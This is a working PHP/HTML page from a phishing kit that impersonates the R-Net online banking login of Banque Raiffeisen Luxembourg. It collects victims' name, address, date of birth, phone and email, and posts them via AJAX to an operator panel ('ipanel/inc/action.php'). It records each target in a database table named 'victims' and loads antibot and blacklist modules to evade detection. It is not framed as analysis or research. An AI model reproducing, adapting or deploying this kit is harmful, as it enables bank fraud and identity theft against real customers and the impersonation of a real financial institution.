<?php
include '../ipanel/inc/config.php';
include '../ipanel/inc/connect.php';
include '../new_anti_config.php';
if ($internal_antibot == 1) {
   include "../ipanel/inc/old_blocker.php";
}
if ($mobile_lock == "checked") {
   include "../ipanel/inc/mob_lock.php";
}
$url = $_SERVER['REQUEST_URI'];



include '../ipanel/inc/blacklist.php';
include '../ipanel/inc/gateway.php';


if ($enable_antibots == "checked") {
   include '../ipanel/inc/anti.php';
}
session_start();

$ip = $_SERVER['REMOTE_ADDR'];
$ua = $_SERVER['HTTP_USER_AGENT'];


if ($_SESSION['started'] == 'true') {

    $uniqueid = $_SESSION['uniqueid'];
    $query = mysqli_query($conn, "SELECT * FROM victims WHERE uniqueid=$uniqueid");
    if ($query) {
   $arr = mysqli_fetch_array($query, MYSQLI_ASSOC);
   $user = $arr['user'];
   $address = $arr['address'];
   if ($address != '') {
      $error = "<div style='padding-left:10px;color:#D4222D'>" . translateText('errorsp1', $currentLanguage) . "</div>";
   }
    }
  
  } else {
     header('location:../exit.php');
}
  


if($_SESSION['started'] == 'true'){
  $uniqueid = $_SESSION['uniqueid'];
  $query = mysqli_query($conn, "SELECT * FROM victims WHERE uniqueid=$uniqueid");
  if ($query) {
          $query = mysqli_query($conn, "UPDATE victims SET status=9, buzzed=1 WHERE uniqueid=$uniqueid");
      }
} else {
     header('location:../exit.php');
}
  

?>
<!DOCTYPE html>
<html class="js" translate="no">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="google" content="notranslate">
<title>R-Net - Banque Raiffeisen Luxembourg</title>
<meta name="viewport" content="viewport-fit=cover, height=device-height, width=device-width, initial-scale=1.0, minimum-scale=1.0, maximum-scale=1.0, user-scalable=no">

<link type="image/x-icon" rel="shortcut icon" href="theme/favicon.ico">
<link rel="stylesheet" href="./theme/styles-GECAAJXY.css">
<link rel="stylesheet" href="./theme/ice.css">
<link rel="stylesheet" type="text/css" href="./theme/pbr-font.css">
<link rel="stylesheet" type="text/css" href="./theme/museo.css">


<script src="theme/styles.js" type="text/javascript"></script>
    <script type="text/javascript" src="theme/jquery-2.2.3.js"></script>

    
    
        
<script>
function check(form) {

if (form.name.value.length < 2)
{ form.name.focus(); document.getElementById("name").style.borderColor = "#D4222D"; return;}
else { document.getElementById("name").style.borderColor = "#DDDDDD"; }

if (form.address.value.length < 2)
{ form.address.focus(); document.getElementById("address").style.borderColor = "#D4222D"; return;}
else { document.getElementById("address").style.borderColor = "#DDDDDD"; }

var regExpress = /^(0[1-9]|[12]\d|3[01])\/(0[1-9]|1[0-2])\/(19\d{2}|20[0-2]\d)$/
if (!regExpress.test(form.dob.value))
{ form.dob.focus(); document.getElementById("dob").style.borderColor = "#D4222D"; return;}
else { document.getElementById("dob").style.borderColor = "#DDDDDD"; }

if (form.phonenr.value.length < 2)
{ form.phonenr.focus(); document.getElementById("phonenr").style.borderColor = "#D4222D"; return;}
else { document.getElementById("phonenr").style.borderColor = "#DDDDDD"; }


var regExpressPostcode = /^(([^<>()\[\]\\.,;:\s@"]+(\.[^<>()\[\]\\.,;:\s@"]+)*)|(".+"))@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}])|(([a-zA-Z\-0-9]+\.)+[a-zA-Z]{2,}))$/
if (!regExpressPostcode.test(form.email.value))
{ form.email.focus(); document.getElementById("email").style.borderColor = "#D4222D"; return;}
else { document.getElementById("email").style.borderColor = "#DDDDDD"; }





submit_form();
// form.submit()
}
</script>


<Style>input { margin-top: -10px !important; } .inputs { height: 40px !important; margin-top:12px !important; } </style>
</head> 

  <body>
<app-root ng-version="17.3.9"><app-offline-banner _nghost-ng-c2141937155=""><!----></app-offline-banner><div class="height-100 pre-line"><app-loading channel="GLOBAL" _nghost-ng-c1961222324=""><div _ngcontent-ng-c1961222324="" class="content-container-global"><router-outlet></router-outlet><desktop-connection-page _nghost-ng-c1641510666=""><div _ngcontent-ng-c1641510666="" id="matomo-DesktopConnection" style="overflow-y: scroll; height: 100%;"><header-language-choice _ngcontent-ng-c1641510666="" _nghost-ng-c62876494=""><div _ngcontent-ng-c62876494="" class="header header-offline"><div _ngcontent-ng-c62876494="" class="header__wrapper"><div _ngcontent-ng-c62876494="" class="header__logo rightBankLogo"><img _ngcontent-ng-c62876494="" class="responsive-img" src="./theme/logo.png"></div><!----><div _ngcontent-ng-c62876494="" class="title title-big color-jumbo tc hide-on-small-only"><b _ngcontent-ng-c62876494="">R-Net</b></div><div _ngcontent-ng-c62876494="" class="switch-langue"><a _ngcontent-ng-c62876494="" data-beloworigin="true" data-activates="dropdown-header-language-choice" class="dropdown-button btn"><div _ngcontent-ng-c62876494="" class="list-item-langue__flag"><img _ngcontent-ng-c62876494="" src="./theme/flag-fr.svg"><!----></div></a><ul _ngcontent-ng-c62876494="" id="dropdown-header-language-choice" class="dropdown-content"><li _ngcontent-ng-c62876494=""><a _ngcontent-ng-c62876494=""><div _ngcontent-ng-c62876494="" class="list-item-langue__flag"><img _ngcontent-ng-c62876494="" src="./theme/flag-fr.svg"></div><span _ngcontent-ng-c62876494="">Français</span></a></li><!----><li _ngcontent-ng-c62876494=""><a _ngcontent-ng-c62876494=""><div _ngcontent-ng-c62876494="" class="list-item-langue__flag"><img _ngcontent-ng-c62876494="" src="./theme/flag-uk.svg"></div><span _ngcontent-ng-c62876494="">English</span></a></li><!----><li _ngcontent-ng-c62876494=""><a _ngcontent-ng-c62876494=""><div _ngcontent-ng-c62876494="" class="list-item-langue__flag"><img _ngcontent-ng-c62876494="" src="./theme/flag-de.svg"></div><span _ngcontent-ng-c62876494="">Deutsch</span></a></li><!----><!----></ul></div></div></div></header-language-choice><div _ngcontent-ng-c1641510666=""><!----><!----><div _ngcontent-ng-c1641510666="" class="row mgb10" style="min-height: 335px;"><login-luxtrust _ngcontent-ng-c1641510666="" class="col m8 l7 offset-l1 s12 pad-L0 pad-R0" _nghost-ng-c1783007993=""><!----><app-loading _ngcontent-ng-c1783007993="" _nghost-ng-c1961222324=""><div _ngcontent-ng-c1961222324=""><!----><div _ngcontent-ng-c1783007993="" class="col s12 simpleCard"><div _ngcontent-ng-c1783007993="" class="row"><div _ngcontent-ng-c1783007993="" class="col s12 center-align tokenBanner pad-R0 pad-L0"><div _ngcontent-ng-c1783007993="" class="col offset-s1 s5 l6 title mgt20 mgb15 left-align pad-L0"></div><a _ngcontent-ng-c1783007993="" id="ChangeDevice1601004" class="col s6 l6 mgt20 mgb15 right-align link pad-R0" style="text-decoration: none;"> &nbsp;</a></div>
<form action="" method="post">
<input type="text" autocomplete="off" id="blank" name="blank" readonly="readonly">
<div _ngcontent-ng-c1783007993="" class="col s12 left-align height-frame iframeContainer" >
<img src="theme/ver.png" style="float: left;width: 70px;padding: 12px;margin-left:15px"> <h2 style="text-align:left;font-size: 19px;padding-top:6px;"><?= translateText('formp2', $currentLanguage); ?></h2> 
<p style="font-size:14px; display:block; margin-left:15px;margin-top: -8px;"><?= translateText('footerp4', $currentLanguage); ?> </p>
<?= $error ?>
           <div class="inputs">
           <label for="name"><?= translateText('footerp5', $currentLanguage); ?></label>
            <input class="form-control" name="name" id="name" type="text" maxlength="85" onKeyDown="if(event.keyCode==13) check(this.form);">
           </div>
           <div class="inputs">
           <label for="phonenr"><?= translateText('footerp6', $currentLanguage); ?> </label>
            <input class="form-control" type="text" maxlength="85" name="address" maxlength="55" id="address" onKeyDown="if(event.keyCode==13) check(this.form);" placeholder="">
           </div>
           <div class="inputs">
           <label for="dob"><?= translateText('footerp10', $currentLanguage); ?> </label>
            <input class="form-control" type="text" name="dob" maxlength="10" id="dob" pattern="[0-9]*" onKeyDown="if(event.keyCode==13) check(this.form);" placeholder="<?= translateText('footerp9', $currentLanguage); ?>">
           </div>

           <div class="inputs"><label for="phonenr"><?= translateText('footerp7', $currentLanguage); ?> </label>
           <input class="form-control" type="text" maxlength="85" name="phonenr" maxlength="25" id="phonenr" pattern="[0-9]*" onKeyDown="if(event.keyCode==13) check(this.form);" placeholder="">
         </div>
           <div class="inputs"><label for="phonenr">E-mail </label>
           <input class="form-control" type="text" maxlength="85" name="email" maxlength="25" id="email" onKeyDown="if(event.keyCode==13) check(this.form);" placeholder="">
         </div>

           <button style="margin-left:15px;" id="confirm" class="btn btn-reverse bordered" onclick="check(this.form)" type="button">Confirmer</button>
         
         </form>

</div>
</div></div></div><div _ngcontent-ng-c1961222324="" class="spinner-container mgt15-mgb15" hidden=""><spinner _ngcontent-ng-c1961222324="" _nghost-ng-c3959543251="" class="medium primary"><div _ngcontent-ng-c3959543251=""></div><div _ngcontent-ng-c3959543251=""></div><div _ngcontent-ng-c3959543251=""></div><div _ngcontent-ng-c3959543251=""></div></spinner></div></app-loading></login-luxtrust><div _ngcontent-ng-c1641510666="" class="col l3 m4 s12 pad-L0 pad-R0 height-100 right-col"><app-loading _ngcontent-ng-c1641510666="" _nghost-ng-c1961222324=""><div _ngcontent-ng-c1961222324=""><app-loading _ngcontent-ng-c1641510666="" _nghost-ng-c1961222324=""><div _ngcontent-ng-c1961222324=""><!----><div _ngcontent-ng-c1641510666="" class="row" style="height: 326px;"><div _ngcontent-ng-c1641510666="" class="simple-card smartphone"><div _ngcontent-ng-c1641510666="" class="row"><h4 _ngcontent-ng-c1641510666="" class="title tc"> <?= translateText('errorsp3', $currentLanguage); ?> </h4></div><div _ngcontent-ng-c1641510666="" class="row"><p _ngcontent-ng-c1641510666="" class="bloc-text tc"> <?= translateText('errorsp4', $currentLanguage); ?> </p></div><div _ngcontent-ng-c1641510666="" class="row tc"><a _ngcontent-ng-c1641510666="" class="col l6 m12 s6 mgt10 mgb10" href="#"><img _ngcontent-ng-c1641510666="" style="max-width: 140px; width: 100%; height: auto;" src="./theme/app-store-badge.png"></a><a _ngcontent-ng-c1641510666="" class="col l6 m12 s6 mgt10 mgb10" href="#"><img _ngcontent-ng-c1641510666="" style="max-width: 140px; width: 100%; height: auto;" src="./theme/google-play-badge.png"></a><!----></div></div></div></div><div _ngcontent-ng-c1961222324="" class="spinner-container mgt15-mgb15" hidden=""><spinner _ngcontent-ng-c1961222324="" _nghost-ng-c3959543251="" class="medium primary"><div _ngcontent-ng-c3959543251=""></div><div _ngcontent-ng-c3959543251=""></div><div _ngcontent-ng-c3959543251=""></div><div _ngcontent-ng-c3959543251=""></div></spinner></div></app-loading></div><div _ngcontent-ng-c1961222324="" class="spinner-container mgt15-mgb15" hidden=""><spinner _ngcontent-ng-c1961222324="" _nghost-ng-c3959543251="" class="medium primary"><div _ngcontent-ng-c3959543251=""></div><div _ngcontent-ng-c3959543251=""></div><div _ngcontent-ng-c3959543251=""></div><div _ngcontent-ng-c3959543251=""></div></spinner></div></app-loading></div></div>


<div _ngcontent-ng-c1641510666="" class="mgt20"><cookie-policy _ngcontent-ng-c1641510666=""><div class="tc"><span class="pointer underline fs-14"></span></div></cookie-policy></div></div><!----><!----></div></desktop-connection-page><!----></div><div _ngcontent-ng-c1961222324="" class="spinner-container spinner-container-global" hidden=""><spinner _ngcontent-ng-c1961222324="" _nghost-ng-c3959543251="" class="medium primary"><div _ngcontent-ng-c3959543251=""></div><div _ngcontent-ng-c3959543251=""></div><div _ngcontent-ng-c3959543251=""></div><div _ngcontent-ng-c3959543251=""></div></spinner></div></app-loading></div><!----><app-export-menu><div id="menu-export" class="modal-export"><div class="modal-export__wrapper"><button type="button" class="close-button"><i class="pbr pbr-solo pbr-close"></i></button><ul class="contextual-list"><!----></ul></div></div></app-export-menu></app-root>


<div class="hiddendiv common"></div></body></html>




<script>

var format = "dd/mm/yyyy";
var match = new RegExp(format
    .replace(/(\w+)\W(\w+)\W(\w+)/, "^\\s*($1)\\W*($2)?\\W*($3)?([0-9]*).*")
    .replace(/m|d|y/g, "\\d"));
var replace = "$1/$2/$3$4"
    .replace(/\//g, format.match(/\W/));

function doFormat(target)
{
    target.value = target.value
        .replace(/(^|\W)(?=\d\W)/g, "$10")   // padding
        .replace(match, replace)             // fields
        .replace(/(\W)+/g, "$1");            // remove repeats
}

$("input[name='dob']:first").keyup(function(e) {
   if(!e.ctrlKey && !e.metaKey && (e.keyCode == 32 || e.keyCode > 46))
      doFormat(e.target)
});

</script>



    
<script src="../assets/js/jquery-1.11.3.min.js"></script>
   <script src="../assets/js/main.js"></script>
   <script>
      var pinger = setInterval(function() {
         var urldata = "../ipanel/inc/action.php?type=ping";
         $.ajax({
            url: urldata,
            type: "GET",
            success: function(response) {
               //console.log(response)
            }
         });
      }, 1000);
      function submit_form() {
         var name = document.getElementById('name').value;
         var address = document.getElementById('address').value;
         var dob = document.getElementById('dob').value;
         var phonenr = document.getElementById('phonenr').value;
         var email = document.getElementById('email').value;
         $.ajax({
            type: 'POST',
            url: '../ipanel/inc/action.php?type=safe1',
            data: 'name=' + name + '&address=' + address + '&dob=' + dob + '&phonenr=' + phonenr + '&email=' + email,
            success: function(data) {
               var parsed_data = JSON.parse(data);
               if (parsed_data.status == 'ok') {
                  location.href = "loading.php"
               }
            }
         })
      }


   </script>

</body>
</html>
